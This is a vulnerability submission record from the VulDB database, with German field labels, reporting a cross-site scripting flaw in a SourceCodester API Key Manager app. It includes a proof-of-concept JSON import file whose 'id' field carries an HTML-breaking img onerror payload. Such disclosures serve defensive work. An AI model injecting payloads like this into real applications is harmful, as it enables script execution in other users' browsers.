| Titel | SourceCodester API Key Manager App Using HTML, CSS and JavaScript with Source Code 0 Basic Cross Site Scripting |
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| Beschreibung | The application is vulnerable as its not sanitizing the "id":"VULNERABLE", JSON parameters, when imported with a payload JSON file, the XSS is triggered on the front-end.
PAYLOAD is provided as below.
[
{
"id": "\"><img src=x onerror=prompt(1);><span data-id=\"",
"name": "XSS Test Key",
"key": "test_key_123",
"category": "other",
"tags": [],
"notes": "",
"created": "2026-01-03T23:25:48.130164Z",
"lastUsed": null,
"strength": "Weak"
}
] |
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| Benutzer | Kamran Saifullah (UID 4218) |
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| Einreichung | 04.01.2026 15:16 (vor 9 Monaten) |
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| Moderieren | 04.01.2026 19:07 (4 hours later) |
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| Status | Duplikat |
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| VulDB Eintrag | 339472 [SourceCodester API Key Manager App 1.0 Import Key Cross Site Scripting] |
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| Punkte | 0 |
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